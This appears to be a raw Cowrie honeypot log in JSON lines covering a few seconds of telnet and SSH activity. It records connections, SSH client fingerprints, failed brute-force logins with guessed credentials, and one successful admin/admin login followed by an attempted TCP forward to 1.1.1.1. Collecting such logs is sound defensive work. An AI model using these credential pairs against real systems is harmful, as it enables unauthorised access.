{"eventid":"cowrie.session.connect","src_ip":"124.217.230.40","src_port":43932,"dst_ip":"10.17.0.5","dst_port":23,"session":"7c5dbe691fd3","protocol":"telnet","message":"New connection: 124.217.230.40:43932 (10.17.0.5:23) [session: 7c5dbe691fd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:05:09.706209Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"vpn2024","message":"login attempt [root/vpn2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:05:10.447244Z","src_ip":"125.166.19.90","session":"aa29a9bec019","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":47496,"dst_ip":"159.203.135.109","dst_port":22,"session":"3c69c42b2d99","protocol":"ssh","message":"New connection: 159.203.92.129:47496 (159.203.135.109:22) [session: 3c69c42b2d99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:05:10.453424Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:05:10.458374Z","src_ip":"159.203.92.129","session":"3c69c42b2d99","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:05:10.470188Z","src_ip":"159.203.92.129","session":"3c69c42b2d99","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"456123","message":"login attempt [administrator/456123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:05:10.496941Z","src_ip":"159.203.92.129","session":"3c69c42b2d99","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:05:11.535133Z","src_ip":"159.203.92.129","session":"3c69c42b2d99","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:05:11.726057Z","src_ip":"125.166.19.90","session":"aa29a9bec019","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.217.230.40","src_port":47302,"dst_ip":"10.17.0.5","dst_port":23,"session":"3175e6ca5703","protocol":"telnet","message":"New connection: 124.217.230.40:47302 (10.17.0.5:23) [session: 3175e6ca5703]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:05:12.809016Z"}
{"eventid":"cowrie.session.connect","src_ip":"124.217.230.40","src_port":47304,"dst_ip":"10.17.0.5","dst_port":23,"session":"4e5cf9faaa45","protocol":"telnet","message":"New connection: 124.217.230.40:47304 (10.17.0.5:23) [session: 4e5cf9faaa45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:05:12.817710Z"}
{"eventid":"cowrie.session.closed","duration":30.44662833213806,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:05:13.079064Z","src_ip":"149.210.189.202","session":"05fc643bb593","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"124.217.230.40","src_port":48868,"dst_ip":"10.17.0.5","dst_port":23,"session":"95c3e3666c6d","protocol":"telnet","message":"New connection: 124.217.230.40:48868 (10.17.0.5:23) [session: 95c3e3666c6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:05:13.909834Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.210.189.202","src_port":60690,"dst_ip":"10.17.0.5","dst_port":23,"session":"d444733f3e56","protocol":"telnet","message":"New connection: 149.210.189.202:60690 (10.17.0.5:23) [session: d444733f3e56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:05:14.141330Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.210.189.202","src_port":60826,"dst_ip":"10.17.0.5","dst_port":23,"session":"617f82b6830f","protocol":"telnet","message":"New connection: 149.210.189.202:60826 (10.17.0.5:23) [session: 617f82b6830f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:05:14.261951Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.210.189.202","src_port":33202,"dst_ip":"10.17.0.5","dst_port":23,"session":"13c031a2519e","protocol":"telnet","message":"New connection: 149.210.189.202:33202 (10.17.0.5:23) [session: 13c031a2519e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:05:14.909796Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.210.189.202","src_port":34826,"dst_ip":"10.17.0.5","dst_port":23,"session":"90ba21a787eb","protocol":"telnet","message":"New connection: 149.210.189.202:34826 (10.17.0.5:23) [session: 90ba21a787eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:05:17.098445Z"}
{"eventid":"cowrie.session.connect","src_ip":"124.217.230.40","src_port":53616,"dst_ip":"10.17.0.5","dst_port":23,"session":"2bded5aa45d6","protocol":"telnet","message":"New connection: 124.217.230.40:53616 (10.17.0.5:23) [session: 2bded5aa45d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:05:17.943231Z"}
{"eventid":"cowrie.session.closed","duration":30.686610221862793,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:05:18.058537Z","src_ip":"149.210.189.202","session":"615c6c7a2fc8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.292187929153442,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:05:18.076607Z","src_ip":"149.210.189.202","session":"8e5fc017d0d9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.61740732192993,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:05:18.411487Z","src_ip":"124.217.230.40","session":"e63024badbf3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"124.217.230.40","src_port":54626,"dst_ip":"10.17.0.5","dst_port":23,"session":"e25cefac3bd8","protocol":"telnet","message":"New connection: 124.217.230.40:54626 (10.17.0.5:23) [session: e25cefac3bd8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:05:18.714742Z"}
{"eventid":"cowrie.session.connect","src_ip":"124.217.230.40","src_port":54666,"dst_ip":"10.17.0.5","dst_port":23,"session":"31c5d54e242a","protocol":"telnet","message":"New connection: 124.217.230.40:54666 (10.17.0.5:23) [session: 31c5d54e242a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:05:18.729591Z"}
{"eventid":"cowrie.session.closed","duration":30.55736780166626,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:05:19.048098Z","src_ip":"149.210.189.202","session":"cf8f62a4cc68","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"124.217.230.40","src_port":55544,"dst_ip":"10.17.0.5","dst_port":23,"session":"c9045dec7107","protocol":"telnet","message":"New connection: 124.217.230.40:55544 (10.17.0.5:23) [session: c9045dec7107]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:05:19.488674Z"}
{"eventid":"cowrie.session.connect","src_ip":"124.217.230.40","src_port":55846,"dst_ip":"10.17.0.5","dst_port":23,"session":"2df23442a9ee","protocol":"telnet","message":"New connection: 124.217.230.40:55846 (10.17.0.5:23) [session: 2df23442a9ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:05:19.728437Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.210.189.202","src_port":37848,"dst_ip":"10.17.0.5","dst_port":23,"session":"51138753ca83","protocol":"telnet","message":"New connection: 149.210.189.202:37848 (10.17.0.5:23) [session: 51138753ca83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:05:20.052649Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":19744,"dst_ip":"10.17.0.5","dst_port":22,"session":"f50e47c6336b","protocol":"ssh","message":"New connection: 87.251.64.176:19744 (10.17.0.5:22) [session: f50e47c6336b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:05:20.764181Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:05:20.768861Z","src_ip":"87.251.64.176","session":"f50e47c6336b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:05:20.865549Z","src_ip":"87.251.64.176","session":"f50e47c6336b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:05:21.155407Z","src_ip":"87.251.64.176","session":"f50e47c6336b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:05:21.259219Z","session":"f50e47c6336b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:05:21.357668Z","src_ip":"87.251.64.176","session":"f50e47c6336b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.721343755722046,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:05:21.382090Z","src_ip":"124.217.230.40","session":"db9901d05b76","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.766506671905518,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:05:21.422869Z","src_ip":"124.217.230.40","session":"59c16355ae49","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:05:21.457724Z","src_ip":"87.251.64.176","session":"f50e47c6336b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.217.230.40","src_port":58494,"dst_ip":"10.17.0.5","dst_port":23,"session":"1765c8240e76","protocol":"telnet","message":"New connection: 124.217.230.40:58494 (10.17.0.5:23) [session: 1765c8240e76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:05:21.820769Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.210.189.202","src_port":39680,"dst_ip":"10.17.0.5","dst_port":23,"session":"fd2d660dc80a","protocol":"telnet","message":"New connection: 149.210.189.202:39680 (10.17.0.5:23) [session: fd2d660dc80a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:05:22.123197Z"}
{"eventid":"cowrie.session.closed","duration":30.964304208755493,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:05:22.224782Z","src_ip":"149.210.189.202","session":"51355b44fa1b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"124.217.230.40","src_port":59668,"dst_ip":"10.17.0.5","dst_port":23,"session":"b4ca9552a1fb","protocol":"telnet","message":"New connection: 124.217.230.40:59668 (10.17.0.5:23) [session: b4ca9552a1fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:05:22.808681Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.210.189.202","src_port":41120,"dst_ip":"10.17.0.5","dst_port":23,"session":"fe090b823897","protocol":"telnet","message":"New connection: 149.210.189.202:41120 (10.17.0.5:23) [session: fe090b823897]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:05:23.786939Z"}
{"eventid":"cowrie.session.connect","src_ip":"124.217.230.40","src_port":60690,"dst_ip":"10.17.0.5","dst_port":23,"session":"aaf092b243b6","protocol":"telnet","message":"New connection: 124.217.230.40:60690 (10.17.0.5:23) [session: aaf092b243b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:05:23.819627Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.210.189.202","src_port":41354,"dst_ip":"10.17.0.5","dst_port":23,"session":"e234c6875c0c","protocol":"telnet","message":"New connection: 149.210.189.202:41354 (10.17.0.5:23) [session: e234c6875c0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:05:24.010189Z"}
{"eventid":"cowrie.session.connect","src_ip":"124.217.230.40","src_port":35278,"dst_ip":"10.17.0.5","dst_port":23,"session":"f990bf3d9d81","protocol":"telnet","message":"New connection: 124.217.230.40:35278 (10.17.0.5:23) [session: f990bf3d9d81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:05:26.243707Z"}
{"eventid":"cowrie.session.connect","src_ip":"124.217.230.40","src_port":35992,"dst_ip":"10.17.0.5","dst_port":23,"session":"97f89e8382ee","protocol":"telnet","message":"New connection: 124.217.230.40:35992 (10.17.0.5:23) [session: 97f89e8382ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:05:26.794414Z"}
{"eventid":"cowrie.session.connect","src_ip":"124.217.230.40","src_port":36162,"dst_ip":"10.17.0.5","dst_port":23,"session":"c8b9f0ebd4ee","protocol":"telnet","message":"New connection: 124.217.230.40:36162 (10.17.0.5:23) [session: c8b9f0ebd4ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:05:26.901664Z"}
{"eventid":"cowrie.session.closed","duration":31.0491623878479,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:05:28.186116Z","src_ip":"149.210.189.202","session":"cf5a9bdf8bff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.837454080581665,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:05:29.068626Z","src_ip":"149.210.189.202","session":"2ac6a640cc23","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.743004322052002,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:05:29.197258Z","src_ip":"149.210.189.202","session":"c2dab962a225","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"124.217.230.40","src_port":40538,"dst_ip":"10.17.0.5","dst_port":23,"session":"7973666b2365","protocol":"telnet","message":"New connection: 124.217.230.40:40538 (10.17.0.5:23) [session: 7973666b2365]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:05:30.705162Z"}
{"eventid":"cowrie.session.connect","src_ip":"124.217.230.40","src_port":41178,"dst_ip":"10.17.0.5","dst_port":23,"session":"f94825b215d6","protocol":"telnet","message":"New connection: 124.217.230.40:41178 (10.17.0.5:23) [session: f94825b215d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:05:31.100395Z"}
{"eventid":"cowrie.session.closed","duration":30.56104016304016,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:05:31.388762Z","src_ip":"124.217.230.40","session":"f9046f8cabd3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.040482997894287,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:05:31.393408Z","src_ip":"149.210.189.202","session":"c0da6d152ad5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"124.217.230.40","src_port":41898,"dst_ip":"10.17.0.5","dst_port":23,"session":"8907b1f5d8aa","protocol":"telnet","message":"New connection: 124.217.230.40:41898 (10.17.0.5:23) [session: 8907b1f5d8aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:05:31.711038Z"}
{"eventid":"cowrie.session.closed","duration":30.664498805999756,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:05:32.185736Z","src_ip":"149.210.189.202","session":"78dddc4556b6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.71431303024292,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:05:34.514803Z","src_ip":"124.217.230.40","session":"5483fc385b3f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"124.217.230.40","src_port":46394,"dst_ip":"10.17.0.5","dst_port":23,"session":"c3f1703de810","protocol":"telnet","message":"New connection: 124.217.230.40:46394 (10.17.0.5:23) [session: c3f1703de810]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:05:34.995167Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.210.189.202","src_port":50412,"dst_ip":"10.17.0.5","dst_port":23,"session":"b73b3fef9892","protocol":"telnet","message":"New connection: 149.210.189.202:50412 (10.17.0.5:23) [session: b73b3fef9892]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:05:35.100541Z"}
{"eventid":"cowrie.session.connect","src_ip":"124.217.230.40","src_port":47250,"dst_ip":"10.17.0.5","dst_port":23,"session":"096e021d8a04","protocol":"telnet","message":"New connection: 124.217.230.40:47250 (10.17.0.5:23) [session: 096e021d8a04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:05:35.724546Z"}
{"eventid":"cowrie.session.closed","duration":30.442831993103027,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:05:36.192701Z","src_ip":"124.217.230.40","session":"09a5c10b5985","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.210.189.202","src_port":51542,"dst_ip":"10.17.0.5","dst_port":23,"session":"b54ca5c7205d","protocol":"telnet","message":"New connection: 149.210.189.202:51542 (10.17.0.5:23) [session: b54ca5c7205d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:05:36.501420Z"}
{"eventid":"cowrie.session.connect","src_ip":"124.217.230.40","src_port":48612,"dst_ip":"10.17.0.5","dst_port":23,"session":"1671dc08dad4","protocol":"telnet","message":"New connection: 124.217.230.40:48612 (10.17.0.5:23) [session: 1671dc08dad4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:05:36.890183Z"}
{"eventid":"cowrie.session.connect","src_ip":"124.217.230.40","src_port":49480,"dst_ip":"10.17.0.5","dst_port":23,"session":"118ecf655357","protocol":"telnet","message":"New connection: 124.217.230.40:49480 (10.17.0.5:23) [session: 118ecf655357]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:05:37.510725Z"}
{"eventid":"cowrie.session.closed","duration":31.031082153320312,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:05:38.114327Z","src_ip":"149.210.189.202","session":"89e11638ea83","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.627501964569092,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:05:38.246212Z","src_ip":"124.217.230.40","session":"55ace912b921","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.210.189.202","src_port":53276,"dst_ip":"10.17.0.5","dst_port":23,"session":"069448779071","protocol":"telnet","message":"New connection: 149.210.189.202:53276 (10.17.0.5:23) [session: 069448779071]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:05:38.573681Z"}
{"eventid":"cowrie.session.closed","duration":30.46006464958191,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:05:39.130750Z","src_ip":"124.217.230.40","session":"51e507dedfd5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.210.189.202","src_port":54032,"dst_ip":"10.17.0.5","dst_port":23,"session":"1678a1d9d6d3","protocol":"telnet","message":"New connection: 149.210.189.202:54032 (10.17.0.5:23) [session: 1678a1d9d6d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:05:39.506957Z"}
